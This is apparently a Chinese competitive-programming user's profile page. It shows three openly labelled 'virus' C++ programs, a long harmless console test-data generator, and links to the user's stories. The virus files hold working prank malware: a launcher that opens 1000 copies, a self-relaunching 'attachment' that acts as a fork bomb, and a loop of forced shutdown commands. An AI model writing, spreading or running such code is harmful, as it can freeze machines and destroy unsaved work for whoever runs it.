跳到正文

_huguowang_

1273562

I WAK CSP!!!

在洛谷打开
资料、奖项与版本

资料

编号
1273562
抓取

奖项

2025 CSP-J
一等奖
2025 CSP-S
三等奖
2024 CSP-J
二等奖
2024 CSP-S
三等奖

大香蕉病毒.cpp

C++
#include <windows.h>
#include <iostream>
using namespace std;
int main(){
	cout << "大香蕉, 一条大香蕉, 这种感觉一定很奇妙~......\n";
	cout << "给你5秒的时间关闭窗口, 反悔还来得及, 不然你的电脑要进ICU!\n";
	system("title 大香蕉病毒");
	Sleep(5000);
	cout << "时间到了, 你的电脑要完了!";
	Sleep(1000);
	system("start 大香蕉病毒附件.exe");
	Sleep(10000);
	for(int i=0;i<100;i++){
		system("shutdown -s -t 1000");
		Sleep(100);
		system("shutdown -a");
	}
	system("shutdown -s -t 100");
	return 0;
}

大香蕉病毒附件.cpp

C++
#include <windows.h>
using namespace std;
int main(){
	system("start 大香蕉病毒附件.exe");
	system("title 大香蕉病毒");
	Sleep(10000);
	return 0;
}

大香蕉病毒引导器.cpp

C++
#include <windows.h>
using namespace std;
int main(){
	system("title 大香蕉病毒");
	for(int i=0;i<1000;i++)
		system("start 大香蕉病毒.exe");
	return 0;
}
C++
#include <iostream>
#include <fstream>
#include <cstdlib>
#include <utility>
#include <windows.h>
using namespace std;
pair<long long,bool> toi(string t){
	if(t.size() == 0 || t.size() > 18 + (t[0] == '-')) return {0,1};
	long long ans = 0;
	for(int i=(t[0]=='-');i<t.size();i++){
		if(t[i] < '0' || t[i] > '9') return {0,1};
		ans = ans * 10 + t[i] - '0';
	}
	if(t[0] == '-') return {-ans,0};
	else return {ans,0};
}
pair<long double,bool> tof(string t){
	if(t.size() == 0 || t[0] == '.') return {0,1};
	if(t.find('.') == t.npos && t.size() > 18 + (t[0] == '-')) return {0,1};
	if(t.find('.')!=t.npos&&(t.find('.')>18+(t[0]=='-')||t.size()-(t[0]=='-')-t.find('.')>6))return{0,1};
	long double ans = 0,rp = 0.1;
	for(long long i=(t[0]=='-');i<(t.find('.')!=t.npos?t.find('.'):t.size());i++){
		if(t[i] < '0' || t[i] > '9') return {0,1};
		ans = ans * 10 + t[i] - '0';
	}
	for(long long i=(t.find('.')!=t.npos?t.find('.')+1:20);i<t.size();i++){
		if(t[i] < '0' || t[i] > '9') return {0,1};
		ans += (t[i] - '0') * rp,rp *= 0.1;
	}
	if(t[0] == '-') return {-ans,0};
	else return {ans,0};
}
pair<char,bool> toc(string t){
	if(t.size() != 1) return {0,1};
	return {t[0],0};
}
pair<bool,bool> tob(string t){
	if(t == "true" || t == "True" || t == "1") return {1,0};
	if(t == "false" || t == "False" || t == "0") return {0,0};
	return {0,1};
}
int main(){
	string user,pasw,inpt,temp;
	int count,duanc,duanl[100],duanr[100];
	system("title 测试数据生成器 - 登录");
	while(1){
		system("cls");
		cout << "欢迎使用测试数据生成器, 使用前请登陆!\n";
		cout << "请输入用户名:   >>> ";
		getline(cin,user);
		if(user == "huguowang" || user == "hugward" || user == "auto") break;
		cout << "不存在该用户! 等待三秒后请重新输入!\n";
		cout << "--------------------------------- 100% (3)";
		for(int i=2;i>0;i--){
			Sleep(1000);
			system("cls");
			cout << "欢迎使用测试数据生成器, 使用前请登陆!\n";
			cout << "请输入用户名:   >>> " << user << endl;
			cout << "不存在该用户! 等待三秒后请重新输入!\n";
			if(i == 2) cout << "----------------------             66% (2)";
			else cout << "-----------                        33% (1)";
		}
		Sleep(1000);
	}
	while(1){
		cout << "请输入密码:     >>> ";
		getline(cin,pasw);
		if(pasw == user) break;
		cout << "密码错误! 等待三秒后请重新输入!\n";
		cout << "--------------------------------- 100% (3)";
		for(int i=2;i>0;i--){
			Sleep(1000);
			system("cls");
			cout << "欢迎使用测试数据生成器, 使用前请登陆!\n";
			cout << "请输入用户名:   >>> " << user << endl;
			cout << "请输入密码:     >>> " << pasw << endl;
			cout << "密码错误! 等待三秒后请重新输入!\n";
			if(i == 2) cout << "----------------------             66% (2)";
			else cout << "-----------                        33% (1)";
		}
		Sleep(1000);
		system("cls");
		cout << "欢迎使用测试数据生成器, 使用前请登陆!\n";
		cout << "请输入用户名:   >>> " << user << endl;
	}
	cout << "登陆成功! 即将跳转到数据编辑界面!";
	Sleep(2000);
	system("title 测试数据生成器 - 数据编辑");
	while(1){
		system("cls");
		cout << "请输入生成数据的组数:       >>> ";
		getline(cin,pasw);
		count = 0;
		if(pasw.size() != 1 && pasw.size() != 2) count = -1;
		for(int i=0;i<pasw.size();i++){
			if('0' > pasw[i] || pasw[i] > '9' || count == -1){count = -1;break;}
			count = count * 10 + pasw[i] - '0';
		}
		if(count > 0) break;
		cout << "数字错误! 等待三秒后请重新输入1-99之间的数字!\n";
		cout << "--------------------------------- 100% (3)";
		for(int i=2;i>0;i--){
			Sleep(1000);
			system("cls");
			cout << "请输入生成数据的组数:       >>> " << pasw << endl;
			cout << "数字错误! 等待三秒后请重新输入1-99之间的数字!\n";
			if(i == 2) cout << "----------------------             66% (2)";
			else cout << "-----------                        33% (1)";
		}
		Sleep(1000);
	}
	while(1){
		cout << "数据分段, 指不同的数据取值可能不同, 需要分段生成!\n";
		cout << "例如 10% 的数据 N < 10, 20% 的数据 N < 100!\n";
		cout << "数据分段例子 (10 个数据点, 不能带空格且一定按顺序 ): 1-1,2-6,7-7,8-8,9-10\n";
		cout << "请输入生成数据的分段:       >>> ";
		getline(cin,user);
		temp = user,user += ',',duanc = 0;
		int tmpa = 0,tmpb = 0,flag = 0;
		while(user.find(',') != user.npos){
			tmpa = tmpb = 0;
			inpt = user.substr(0,user.find(','));
			user = user.substr(user.find(',')+1);
			if(inpt.size() > 5){flag = 1;break;}
			if(inpt.find('-') == inpt.npos){flag = 1;break;}
			for(int i=0;i<inpt.find('-');i++){
				if('0' > inpt[i] || inpt[i] > '9'){flag = 1;break;}
				tmpa = tmpa * 10 + inpt[i] - '0';
			}
			if(flag) break;
			for(int i=inpt.find('-')+1;i<inpt.size();i++){
				if('0' > inpt[i] || inpt[i] > '9'){flag = 1;break;}
				tmpb = tmpb * 10 + inpt[i] - '0';
			}
			if(flag) break;
			if(tmpa == 0 || tmpb == 0 || tmpa > tmpb){flag = 1;break;}
			if(tmpa > count || tmpb > count){flag = 1;break;}
			if(duanc && tmpa != duanr[duanc-1]+1){flag = 1;break;}
			duanl[duanc] = tmpa,duanr[duanc++] = tmpb;
		}
		if(duanr[duanc-1] != count || duanl[0] != 1) flag = 1;
		if(!flag) break;
		cout << "分段格式错误! 等待三秒后请重新输入分段!\n";
		cout << "--------------------------------- 100% (3)";
		for(int i=2;i>0;i--){
			Sleep(1000);
			system("cls");
			cout << "请输入生成数据的组数:       >>> " << pasw << endl;
			cout << "数据分段, 指不同的数据取值可能不同, 需要分段生成!\n";
			cout << "例如 10% 的数据 N < 10, 20% 的数据 N < 100!\n";
			cout << "数据分段例子 (10 个数据点, 不能带空格且一定按顺序 ): 1-1,2-6,7-7,8-8,9-10\n";
			cout << "请输入生成数据的分段:       >>> " << temp << endl;
			cout << "分段格式错误! 等待三秒后请重新输入分段!\n";
			if(i == 2) cout << "----------------------             66% (2)";
			else cout << "-----------                        33% (1)";
		}
		Sleep(1000);
		system("cls");
		cout << "请输入生成数据的组数:       >>> " << pasw << endl;
	}
	while(1){
		cout << "测试数据的生成需要有输出文件名, 以下文件名可供选择:\n";
		cout << "1. 默认 : 1-" << count << ".in, 如 \"1.in\";\n";
		cout << "2. 倒序 : " << count << "-1.in, 如 \"" << count << ".in\";\n";
		cout << "3. 随机序 : 1-" << count << "(随机分配数字文件名).in, 如 \"" << (1+count)/2 << ".in\";\n";
		cout << "4. 自定义 : 自己定义用例文件名 ( 也包括自定义文件后缀名 )!\n";
		cout << "请输入生成数据的文件名模式: >>> ";
		getline(cin,user);
		if(user.size() == 1 && '0' <= user[0] && user[0] < '5') break;
		cout << "数字错误! 等待三秒后请重新输入1-4之间的数字!\n";
		cout << "--------------------------------- 100% (3)";
		for(int i=2;i>0;i--){
			Sleep(1000);
			system("cls");
			cout << "请输入生成数据的组数:       >>> " << pasw << endl;
			cout << "数据分段, 指不同的数据取值可能不同, 需要分段生成!\n";
			cout << "例如 10% 的数据 N < 10, 20% 的数据 N < 100!\n";
			cout << "数据分段例子 (10 个数据点, 不能带空格且一定按顺序 ): 1-1,2-6,7-7,8-8,9-10\n";
			cout << "请输入生成数据的分段:       >>> " << temp << endl;
			cout << "测试数据的生成需要有输出文件名, 以下文件名可供选择:\n";
			cout << "1. 默认 : 1-" << count << ".in, 如 \"1.in\";\n";
			cout << "2. 倒序 : " << count << "-1.in, 如 \"" << count << ".in\";\n";
			cout << "3. 随机序 : 1-" << count << "(随机分配数字文件名).in, 如 \"" << (1+count)/2 << ".in\";\n";
			cout << "4. 自定义 : 自己定义用例文件名 ( 也包括自定义文件后缀名 )!\n";
			cout << "请输入生成数据的文件名模式: >>> " << user << endl;
			cout << "数字错误! 等待三秒后请重新输入1-4之间的数字!\n";
			if(i == 2) cout << "----------------------             66% (2)";
			else cout << "-----------                        33% (1)";
		}
		Sleep(1000);
		system("cls");
		cout << "请输入生成数据的组数:       >>> " << pasw << endl;
		cout << "数据分段, 指不同的数据取值可能不同, 需要分段生成!\n";
		cout << "例如 10% 的数据 N < 10, 20% 的数据 N < 100!\n";
		cout << "数据分段例子 (10 个数据点, 不能带空格且一定按顺序 ): 1-1,2-6,7-7,8-8,9-10\n";
		cout << "请输入生成数据的分段:       >>> " << temp << endl;
	}
//	for(int i=0;i<duanc;i++)
//		while(1){
//		}
	//格式代码: m1: "int[rand,1,100] int[const,100] char[rand,'a','c'] float[const 3.14] bool[rand]" 
	//m2: "float[const,3.14] N[rand,17,9032] endl[1] ( int[rand,1,9] ) ** N"
	//m4: "N[rand,100,200] M[rand,100,200] endl[1] ( ( int[rand,-1,1] ) ** M endl[1] ) ** N"
	//m5: "T[rand,1,5] endl[1] ( N[rand,0,1000] M[rand,0,1000] endl[1] ) ** T"
	// "string[[rand,100,300],per[rand,'a','c']]" // [rand,from,to] or [rand,{a,b,c...}]
	// "string[[rand,{500,990-1000}],[rand,{[all,\"13243456456\",\"asd\"],[per,'a'-'c']}]]
	return 0;
} 
共 2 篇
  1. 休闲·娱乐

    《神兽降临》文章合集

    第一章:地球online的消息 晚上8时整,我在开车回家的路上,只听见“叮”的一声,原来是手机发出的声响。我往下一瞧,惊叹了:手机上竟然写着“4小时后,全球即将动物化,每个人将变成自己吃下的最后一种动物。” 一开始我还以为是别人的恶作剧罢了,可是我看到作者是地球online时,我…

  2. 休闲·娱乐

    huguowang的小说团 团队规则

    smalltextsftextcolor #e41b1dhusmalltextsftextcolor #e4451bgusmalltextsftextcolor #e45e1bowsmalltextsftextcolor #e4701bansmalltextsftextcolor…